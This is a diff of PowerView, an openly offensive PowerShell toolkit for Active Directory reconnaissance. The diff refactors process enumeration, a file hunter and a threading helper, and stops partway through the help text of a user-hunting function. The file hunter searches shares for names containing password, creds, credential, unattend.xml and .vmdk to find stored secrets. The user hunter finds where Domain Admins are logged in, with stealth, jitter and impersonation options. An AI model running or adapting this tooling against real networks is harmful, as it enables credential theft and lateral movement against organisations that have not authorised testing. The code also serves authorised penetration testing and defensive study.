-filter Get-NetProcess {
+function Get-WMIProcess {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Returns a list of processes and their owners on the local or remote machine.
- Gets a list of processes/owners on a remote machine.
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: None
- .PARAMETER ComputerName
+.DESCRIPTION
- The hostname to query processes. Defaults to the local host name.
+Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine,
+including the owners of the particular process.
- .PARAMETER Credential
+.PARAMETER ComputerName
- A [Management.Automation.PSCredential] object for the remote connection.
+Specifies the hostname to query for cached RDP connections (also accepts IP addresses).
+Defaults to 'localhost'.
- .EXAMPLE
+.PARAMETER Credential
- PS C:\> Get-NetProcess -ComputerName WINDOWS1
-
- Returns the current processes for WINDOWS1
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the remote system.
+
+.EXAMPLE
+
+Get-WMIProcess -ComputerName WINDOWS1
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred
+
+.OUTPUTS
+
+PowerView.UserProcess
+
+A PSCustomObject containing the remote process information.
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.UserProcess')]
[CmdletBinding()]
- param(
- [Parameter(ValueFromPipeline=$True)]
- [Alias('HostName')]
- [Object[]]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
- $ComputerName = [System.Net.Dns]::GetHostName(),
+ [String[]]
+ $ComputerName = 'localhost',
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- # extract the computer name from whatever object was passed on the pipeline
- $Computer = $ComputerName | Get-NameField
-
- try {
- if($Credential) {
- $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential
- }
- else {
- $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName
- }
-
- $Processes | ForEach-Object {
- $Owner = $_.getowner();
- $Process = New-Object PSObject
- $Process | Add-Member Noteproperty 'ComputerName' $Computer
- $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName
- $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID
- $Process | Add-Member Noteproperty 'Domain' $Owner.Domain
- $Process | Add-Member Noteproperty 'User' $Owner.User
- $Process
+ PROCESS {
+ ForEach ($Computer in $ComputerName) {
+ try {
+ $WmiArguments = @{
+ 'ComputerName' = $ComputerName
+ 'Class' = 'Win32_process'
+ }
+ if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
+ Get-WMIobject @WmiArguments | ForEach-Object {
+ $Owner = $_.getowner();
+ $Process = New-Object PSObject
+ $Process | Add-Member Noteproperty 'ComputerName' $Computer
+ $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName
+ $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID
+ $Process | Add-Member Noteproperty 'Domain' $Owner.Domain
+ $Process | Add-Member Noteproperty 'User' $Owner.User
+ $Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess')
+ $Process
+ }
+ }
+ catch {
+ Write-Verbose "[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_"
+ }
}
}
- catch {
- Write-Verbose "[!] Error enumerating remote processes on $Computer, access likely denied: $_"
- }
}
function Find-InterestingFile {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Searches for files on the given path that match a series of specified criteria.
- This function recursively searches a given UNC path for files with
- specific keywords in the name (default of pass, sensitive, secret, admin,
- login and unattend*.xml). The output can be piped out to a csv with the
- -OutFile flag. By default, hidden files/folders are included in search results.
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection
- .PARAMETER Path
+.DESCRIPTION
- UNC/local path to recursively search.
+This function recursively searches a given UNC path for files with
+specific keywords in the name (default of pass, sensitive, secret, admin,
+login and unattend*.xml). By default, hidden files/folders are included
+in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection
+is used to temporarily map the remote share.
- .PARAMETER Terms
+.PARAMETER Path
- Terms to search for.
+UNC/local path to recursively search.
- .PARAMETER OfficeDocs
+.PARAMETER Include
- Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
+Only return files/folders that match the specified array of strings,
+i.e. @(*.doc*, *.xls*, *.ppt*)
- .PARAMETER FreshEXEs
+.PARAMETER LastAccessTime
- Switch. Find .EXEs accessed within the last week.
+Only return files with a LastAccessTime greater than this date value.
- .PARAMETER LastAccessTime
+.PARAMETER LastWriteTime
- Only return files with a LastAccessTime greater than this date value.
+Only return files with a LastWriteTime greater than this date value.
- .PARAMETER LastWriteTime
+.PARAMETER CreationTime
- Only return files with a LastWriteTime greater than this date value.
+Only return files with a CreationTime greater than this date value.
- .PARAMETER CreationTime
+.PARAMETER OfficeDocs
- Only return files with a CreationTime greater than this date value.
+Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
- .PARAMETER ExcludeFolders
+.PARAMETER FreshEXEs
- Switch. Exclude folders from the search results.
+Switch. Find .EXEs accessed within the last 7 days.
- .PARAMETER ExcludeHidden
+.PARAMETER ExcludeFolders
- Switch. Exclude hidden files and folders from the search results.
+Switch. Exclude folders from the search results.
- .PARAMETER CheckWriteAccess
+.PARAMETER ExcludeHidden
- Switch. Only returns files the current user has write access to.
+Switch. Exclude hidden files and folders from the search results.
- .PARAMETER OutFile
+.PARAMETER CheckWriteAccess
- Output results to a specified csv output file.
+Switch. Only returns files the current user has write access to.
- .PARAMETER UsePSDrive
+.PARAMETER Credential
- Switch. Mount target remote path with temporary PSDrives.
+A [Management.Automation.PSCredential] object of alternate credentials
+to connect to remote systems for file enumeration.
- .OUTPUTS
+.EXAMPLE
- The full path, owner, lastaccess time, lastwrite time, and size for each found file.
+Find-InterestingFile -Path "C:\Backup\"
- .EXAMPLE
+Returns any files on the local path C:\Backup\ that have the default
+search term set in the title.
- PS C:\> Find-InterestingFile -Path C:\Backup\
-
- Returns any files on the local path C:\Backup\ that have the default
- search term set in the title.
+.EXAMPLE
- .EXAMPLE
+Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7)
- PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv
-
- Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries'
- or 'email' in the title, and writes the results out to a csv file
- named 'out.csv'
+Returns any files on the remote path \\WINDOWS7\Users\ that have the default
+search term set in the title and were accessed within the last week.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -LastAccessTime (Get-Date).AddDays(-7)
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Find-InterestingFile -Credential $Cred -Path "\\PRIMARY.testlab.local\C$\Temp\"
- Returns any files on the remote path \\WINDOWS7\Users\ that have the default
- search term set in the title and were accessed within the last week.
+.OUTPUTS
- .LINK
-
- http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/
+PowerView.FoundFile
#>
-
- param(
- [Parameter(ValueFromPipeline=$True)]
- [String]
- $Path = '.\',
- [Alias('Terms')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.FoundFile')]
+ [CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [ValidateNotNullOrEmpty()]
[String[]]
- $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config'),
-
- [Switch]
- $OfficeDocs,
+ $Path = '.\',
- [Switch]
- $FreshEXEs,
+ [Parameter(ParameterSetName = 'FileSpecification')]
+ [ValidateNotNullOrEmpty()]
+ [Alias('SearchTerms', 'Terms')]
+ [String[]]
+ $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'),
- [String]
+ [Parameter(ParameterSetName = 'FileSpecification')]
+ [ValidateNotNullOrEmpty()]
+ [DateTime]
$LastAccessTime,
- [String]
+ [Parameter(ParameterSetName = 'FileSpecification')]
+ [ValidateNotNullOrEmpty()]
+ [DateTime]
$LastWriteTime,
- [String]
+ [Parameter(ParameterSetName = 'FileSpecification')]
+ [ValidateNotNullOrEmpty()]
+ [DateTime]
$CreationTime,
+ [Parameter(ParameterSetName = 'OfficeDocs')]
+ [Switch]
+ $OfficeDocs,
+
+ [Parameter(ParameterSetName = 'FreshEXEs')]
+ [Switch]
+ $FreshEXEs,
+
+ [Parameter(ParameterSetName = 'FileSpecification')]
[Switch]
$ExcludeFolders,
+ [Parameter(ParameterSetName = 'FileSpecification')]
[Switch]
$ExcludeHidden,
[Switch]
$CheckWriteAccess,
- [String]
- $OutFile,
-
- [Switch]
- $UsePSDrive
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- begin {
-
- $Path += if(!$Path.EndsWith('\')) {"\"}
-
- if ($Credential) {
- $UsePSDrive = $True
+ BEGIN {
+ $SearcherArguments = @{
+ 'Recurse' = $True
+ 'ErrorAction' = 'SilentlyContinue'
+ 'Include' = $Include
}
-
- # append wildcards to the front and back of all search terms
- $SearchTerms = $SearchTerms | ForEach-Object { if($_ -notmatch '^\*.*\*$') {"*$($_)*"} else{$_} }
-
- # search just for office documents if specified
- if ($OfficeDocs) {
- $SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
+ if ($PSBoundParameters['OfficeDocs']) {
+ $SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
}
-
- # find .exe's accessed within the last 7 days
- if($FreshEXEs) {
- # get an access time limit of 7 days ago
+ elseif ($PSBoundParameters['FreshEXEs']) {
+ # find .exe's accessed within the last 7 days
$LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
- $SearchTerms = '*.exe'
- }
-
- if($UsePSDrive) {
- # if we're PSDrives, create a temporary mount point
-
- $Parts = $Path.split('\')
- $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
- $FilePath = $Parts[-1]
-
- $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
-
- Write-Verbose "Mounting path '$Path' using a temp PSDrive at $RandDrive"
-
- try {
- $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
- }
- catch {
- Write-Verbose "Error mounting path '$Path' : $_"
- return $Null
- }
-
- # so we can cd/dir the new drive
- $Path = "${RandDrive}:\${FilePath}"
+ $SearcherArguments['Include'] = @('*.exe')
}
- }
+ $SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden']
- process {
+ $MappedComputers = @{}
- Write-Verbose "[*] Search path $Path"
-
- function Invoke-CheckWrite {
+ function Test-Write {
# short helper to check is the current user can write to a file
- [CmdletBinding()]param([String]$Path)
+ [CmdletBinding()]Param([String]$Path)
try {
- $Filetest = [IO.FILE]::OpenWrite($Path)
+ $Filetest = [IO.File]::OpenWrite($Path)
$Filetest.Close()
$True
}
catch {
- Write-Verbose -Message $Error[0]
$False
}
}
+ }
- $SearchArgs = @{
- 'Path' = $Path
- 'Recurse' = $True
- 'Force' = $(-not $ExcludeHidden)
- 'Include' = $SearchTerms
- 'ErrorAction' = 'SilentlyContinue'
- }
+ PROCESS {
+ ForEach ($TargetPath in $Path) {
+ if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
+ $HostComputer = (New-Object System.Uri($TargetPath)).Host
+ if (-not $MappedComputers[$HostComputer]) {
+ # map IPC$ to this computer if it's not already
+ Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
+ $MappedComputers[$HostComputer] = $True
+ }
+ }
- Get-ChildItem @SearchArgs | ForEach-Object {
- Write-Verbose $_
- # check if we're excluding folders
- if(!$ExcludeFolders -or !$_.PSIsContainer) {$_}
- } | ForEach-Object {
- if($LastAccessTime -or $LastWriteTime -or $CreationTime) {
- if($LastAccessTime -and ($_.LastAccessTime -gt $LastAccessTime)) {$_}
- elseif($LastWriteTime -and ($_.LastWriteTime -gt $LastWriteTime)) {$_}
- elseif($CreationTime -and ($_.CreationTime -gt $CreationTime)) {$_}
+ $SearcherArguments['Path'] = $TargetPath
+ Get-ChildItem @SearcherArguments | ForEach-Object {
+ # check if we're excluding folders
+ $Continue = $True
+ if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) {
+ Write-Verbose "Excluding: $($_.FullName)"
+ $Continue = $False
+ }
+ if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) {
+ $Continue = $False
+ }
+ if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) {
+ $Continue = $False
+ }
+ if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) {
+ $Continue = $False
+ }
+ if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) {
+ $Continue = $False
+ }
+ if ($Continue) {
+ $FileParams = @{
+ 'Path' = $_.FullName
+ 'Owner' = $((Get-Acl $_.FullName).Owner)
+ 'LastAccessTime' = $_.LastAccessTime
+ 'LastWriteTime' = $_.LastWriteTime
+ 'CreationTime' = $_.CreationTime
+ 'Length' = $_.Length
+ }
+ $FoundFile = New-Object -TypeName PSObject -Property $FileParams
+ $FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile')
+ $FoundFile
+ }
}
- else {$_}
- } | ForEach-Object {
- # filter for write access (if applicable)
- if((-not $CheckWriteAccess) -or (Invoke-CheckWrite -Path $_.FullName)) {$_}
- } | Select-Object FullName,@{Name='Owner';Expression={(Get-Acl $_.FullName).Owner}},LastAccessTime,LastWriteTime,CreationTime,Length | ForEach-Object {
- # check if we're outputting to the pipeline or an output file
- if($OutFile) {Export-PowerViewCSV -InputObject $_ -OutFile $OutFile}
- else {$_}
}
}
- end {
- if($UsePSDrive -and $RandDrive) {
- Write-Verbose "Removing temp PSDrive $RandDrive"
- Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
- }
+ END {
+ # remove the IPC$ mappings
+ $MappedComputers.Keys | Remove-RemoteConnection
}
}
@@ -9248,62 +14326,58 @@ function Find-InterestingFile {
#
########################################################
-function Invoke-ThreadedFunction {
+function New-ThreadedFunction {
# Helper used by any threaded host enumeration functions
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[CmdletBinding()]
- param(
- [Parameter(Position=0,Mandatory=$True)]
+ Param(
+ [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[String[]]
$ComputerName,
- [Parameter(Position=1,Mandatory=$True)]
+ [Parameter(Position = 1, Mandatory = $True)]
[System.Management.Automation.ScriptBlock]
$ScriptBlock,
- [Parameter(Position=2)]
+ [Parameter(Position = 2)]
[Hashtable]
$ScriptParameters,
[Int]
- [ValidateRange(1,100)]
+ [ValidateRange(1, 100)]
$Threads = 20,
[Switch]
$NoImports
)
- begin {
-
- if ($PSBoundParameters['Debug']) {
- $DebugPreference = 'Continue'
- }
-
- Write-Verbose "[*] Total number of hosts: $($ComputerName.count)"
-
+ BEGIN {
# Adapted from:
# http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/
$SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
- $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
+
+ # # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
+ # force a single-threaded apartment state (for token-impersonation stuffz)
+ $SessionState.ApartmentState = [System.Threading.ApartmentState]::STA
# import the current session state's variables and functions so the chained PowerView
# functionality can be used by the threaded blocks
- if(!$NoImports) {
-
+ if (-not $NoImports) {
# grab all the current variables for this runspace
$MyVars = Get-Variable -Scope 2
# these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice
- $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true")
+ $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true')
- # Add Variables from Parent Scope (current runspace) into the InitialSessionState
- ForEach($Var in $MyVars) {
- if($VorbiddenVars -NotContains $Var.Name) {
+ # add Variables from Parent Scope (current runspace) into the InitialSessionState
+ ForEach ($Var in $MyVars) {
+ if ($VorbiddenVars -NotContains $Var.Name) {
$SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
}
}
- # Add Functions from current runspace to the InitialSessionState
- ForEach($Function in (Get-ChildItem Function:)) {
+ # add Functions from current runspace to the InitialSessionState
+ ForEach ($Function in (Get-ChildItem Function:)) {
$SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
}
}
@@ -9313,2300 +14387,2296 @@ function Invoke-ThreadedFunction {
# Thanks Carlos!
# create a pool of maxThread runspaces
- $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
+ $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
$Pool.Open()
- $method = $null
- ForEach ($m in [PowerShell].GetMethods() | Where-Object { $_.Name -eq "BeginInvoke" }) {
- $methodParameters = $m.GetParameters()
- if (($methodParameters.Count -eq 2) -and $methodParameters[0].Name -eq "input" -and $methodParameters[1].Name -eq "output") {
- $method = $m.MakeGenericMethod([Object], [Object])
+ # do some trickery to get the proper BeginInvoke() method that allows for an output queue
+ $Method = $Null
+ ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) {
+ $MethodParameters = $M.GetParameters()
+ if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') {
+ $Method = $M.MakeGenericMethod([Object], [Object])
break
}
}
$Jobs = @()
- }
-
- process {
+ $ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()}
+ Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)"
- ForEach ($Computer in $ComputerName) {
-
- # make sure we get a server name
- if ($Computer -ne '') {
- # Write-Verbose "[*] Enumerating server $Computer ($($Counter+1) of $($ComputerName.count))"
+ # partition all hosts from -ComputerName into $Threads number of groups
+ if ($Threads -ge $ComputerName.Length) {
+ $Threads = $ComputerName.Length
+ }
+ $ElementSplitSize = [Int]($ComputerName.Length/$Threads)
+ $ComputerNamePartitioned = @()
+ $Start = 0
+ $End = $ElementSplitSize
- While ($($Pool.GetAvailableRunspaces()) -le 0) {
- Start-Sleep -MilliSeconds 500
- }
+ for($i = 1; $i -le $Threads; $i++) {
+ $List = New-Object System.Collections.ArrayList
+ if ($i -eq $Threads) {
+ $End = $ComputerName.Length
+ }
+ $List.AddRange($ComputerName[$Start..($End-1)])
+ $Start += $ElementSplitSize
+ $End += $ElementSplitSize
+ $ComputerNamePartitioned += @(,@($List.ToArray()))
+ }
- # create a "powershell pipeline runner"
- $p = [powershell]::create()
+ Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads"
- $p.runspacepool = $Pool
+ ForEach ($ComputerNamePartition in $ComputerNamePartitioned) {
+ # create a "powershell pipeline runner"
+ $PowerShell = [PowerShell]::Create()
+ $PowerShell.runspacepool = $Pool
- # add the script block + arguments
- $Null = $p.AddScript($ScriptBlock).AddParameter('ComputerName', $Computer)
- if($ScriptParameters) {
- ForEach ($Param in $ScriptParameters.GetEnumerator()) {
- $Null = $p.AddParameter($Param.Name, $Param.Value)
- }
+ # add the script block + arguments with the given computer partition
+ $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition)
+ if ($ScriptParameters) {
+ ForEach ($Param in $ScriptParameters.GetEnumerator()) {
+ $Null = $PowerShell.AddParameter($Param.Name, $Param.Value)
}
+ }
- $o = New-Object Management.Automation.PSDataCollection[Object]
+ # create the output queue
+ $Output = New-Object Management.Automation.PSDataCollection[Object]
- $Jobs += @{
- PS = $p
- Output = $o
- Result = $method.Invoke($p, @($null, [Management.Automation.PSDataCollection[Object]]$o))
- }
+ # kick off execution using the BeginInvok() method that allows queues
+ $Jobs += @{
+ PS = $PowerShell
+ Output = $Output
+ Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output))
}
}
}
- end {
- Write-Verbose "Waiting for threads to finish..."
+ END {
+ Write-Verbose "[New-ThreadedFunction] Threads executing"
+ # continuously loop through each job queue, consuming output as appropriate
Do {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
}
- } While (($Jobs | Where-Object { ! $_.Result.IsCompleted }).Count -gt 0)
+ Start-Sleep -Seconds 1
+ }
+ While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0)
- ForEach ($Job in $Jobs) {
- $Job.PS.Dispose()
+ $SleepSeconds = 100
+ Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..."
+
+ # cleanup- make sure we didn't miss anything
+ for ($i=0; $i -lt $SleepSeconds; $i++) {
+ ForEach ($Job in $Jobs) {
+ $Job.Output.ReadAll()
+ $Job.PS.Dispose()
+ }
+ Start-Sleep -S 1
}
$Pool.Dispose()
- Write-Verbose "All threads completed!"
+ Write-Verbose "[New-ThreadedFunction] all threads completed"
}
}
-function Invoke-UserHunter {
+function Find-DomainUserLocation {
<#
- .SYNOPSIS
-
- Finds which machines users of a specified group are logged into.
-
- Author: @harmj0y
- License: BSD 3-Clause
-
- .DESCRIPTION
-
- This function finds the local domain name for a host using Get-NetDomain,
- queries the domain for users of a specified group (default "domain admins")
- with Get-NetGroupMember or reads in a target user list, queries the domain for all
- active machines with Get-NetComputer or reads in a pre-populated host list,
- randomly shuffles the target list, then for each server it gets a list of
- active users with Get-NetSession/Get-NetLoggedon. The found user list is compared
- against the target list, and a status message is displayed for any hits.
- The flag -CheckAccess will check each positive host to see if the current
- user has local admin access to the machine.
-
- .PARAMETER ComputerName
-
- Host array to enumerate, passable on the pipeline.
-
- .PARAMETER ComputerFile
+.SYNOPSIS
- File of hostnames/IPs to search.
+Finds domain machines where specific users are logged into.
- .PARAMETER ComputerFilter
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction
- Host filter name to query AD for, wildcards accepted.
+.DESCRIPTION
- .PARAMETER ComputerADSpath
+This function enumerates all machines on the current (or specified) domain
+using Get-DomainComputer, and queries the domain for users of a specified group
+(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
+function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon
+The found user list is compared against the target list, and any matches are
+displayed. If -ShowAll is specified, all results are displayed instead of
+the filtered set. If -Stealth is specified, then likely highly-trafficed servers
+are enumerated with Get-DomainFileServer/Get-DomainController, and session
+enumeration is executed only against those servers. If -Credential is passed,
+then Invoke-UserImpersonation is used to impersonate the specified user
+before enumeration, reverting after with Invoke-RevertToSelf.
- The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+.PARAMETER ComputerName
- .PARAMETER Unconstrained
+Specifies an array of one or more hosts to enumerate, passable on the pipeline.
+If -ComputerName is not passed, the default behavior is to enumerate all machines
+in the domain returned by Get-DomainComputer.
- Switch. Only enumerate computers that have unconstrained delegation.
+.PARAMETER Domain
- .PARAMETER GroupName
+Specifies the domain to query for computers AND users, defaults to the current domain.
- Group name to query for target users.
+.PARAMETER ComputerDomain
- .PARAMETER TargetServer
+Specifies the domain to query for computers, defaults to the current domain.
- Hunt for users who are effective local admins on a target server.
+.PARAMETER ComputerLDAPFilter
- .PARAMETER UserName
+Specifies an LDAP query string that is used to search for computer objects.
- Specific username to search for.
+.PARAMETER ComputerSearchBase
- .PARAMETER UserFilter
+Specifies the LDAP source to search through for computers,
+e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
- A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"
+.PARAMETER ComputerUnconstrained
- .PARAMETER UserADSpath
+Switch. Search computer objects that have unconstrained delegation.
- The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+.PARAMETER ComputerOperatingSystem
- .PARAMETER UserFile
+Search computers with a specific operating system, wildcards accepted.
- File of usernames to search for.
+.PARAMETER ComputerServicePack
- .PARAMETER AdminCount
+Search computers with a specific service pack, wildcards accepted.
- Switch. Hunt for users with adminCount=1.
+.PARAMETER ComputerSiteName
- .PARAMETER AllowDelegation
+Search computers in the specific AD Site name, wildcards accepted.
- Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
+.PARAMETER UserIdentity
- .PARAMETER StopOnSuccess
+Specifies one or more user identities to search for.
- Switch. Stop hunting after finding after finding a target user.
+.PARAMETER UserDomain
- .PARAMETER NoPing
+Specifies the domain to query for users to search for, defaults to the current domain.
- Don't ping each host to ensure it's up before enumerating.
+.PARAMETER UserLDAPFilter
- .PARAMETER CheckAccess
+Specifies an LDAP query string that is used to search for target users.
- Switch. Check if the current user has local admin access to found machines.
+.PARAMETER UserSearchBase
- .PARAMETER Delay
+Specifies the LDAP source to search through for target users.
+e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
- Delay between enumerating hosts, defaults to 0
+.PARAMETER UserGroupIdentity
- .PARAMETER Jitter
+Specifies a group identity to query for target users, defaults to 'Domain Admins.
+If any other user specifications are set, then UserGroupIdentity is ignored.
- Jitter for the host delay, defaults to +/- 0.3
+.PARAMETER UserAdminCount
- .PARAMETER Domain
+Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
- Domain for query for machines, defaults to the current domain.
+.PARAMETER UserAllowDelegation
- .PARAMETER DomainController
+Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'.
- Domain controller to reflect LDAP queries through.
+.PARAMETER CheckAccess
- .PARAMETER ShowAll
+Switch. Check if the current user has local admin access to computers where target users are found.
- Switch. Return all user location results, i.e. Invoke-UserView functionality.
+.PARAMETER Server
- .PARAMETER SearchForest
+Specifies an Active Directory server (domain controller) to bind to.
- Switch. Search all domains in the forest for target users instead of just
- a single domain.
+.PARAMETER SearchScope
- .PARAMETER Stealth
+Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
- Switch. Only enumerate sessions from connonly used target servers.
+.PARAMETER ResultPageSize
- .PARAMETER StealthSource
+Specifies the PageSize to set for the LDAP searcher object.
- The source of target servers to use, 'DFS' (distributed file servers),
- 'DC' (domain controllers), 'File' (file servers), or 'All'
+.PARAMETER ServerTimeLimit
- .PARAMETER ForeignUsers
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- Switch. Only return results that are not part of searched domain.
+.PARAMETER Tombstone
- .PARAMETER Threads
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- The maximum concurrent threads to execute.
+.PARAMETER Credential
- .PARAMETER Poll
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain and target systems.
- Continuously poll for sessions for the given duration. Automatically
- sets Threads to the number of computers being polled.
+.PARAMETER StopOnSuccess
- .EXAMPLE
+Switch. Stop hunting after finding after finding a target user.
- PS C:\> Invoke-UserHunter -CheckAccess
+.PARAMETER Delay
- Finds machines on the local domain where domain admins are logged into
- and checks if the current user has local administrator access.
+Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
- .EXAMPLE
+.PARAMETER Jitter
- PS C:\> Invoke-UserHunter -Domain 'testing'
+Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
- Finds machines on the 'testing' domain where domain admins are logged into.
+.PARAMETER ShowAll
- .EXAMPLE
+Switch. Return all user location results instead of filtering based on target
+specifications.
- PS C:\> Invoke-UserHunter -Threads 20
+.PARAMETER Stealth
- Multi-threaded user hunting, replaces Invoke-UserHunterThreaded.
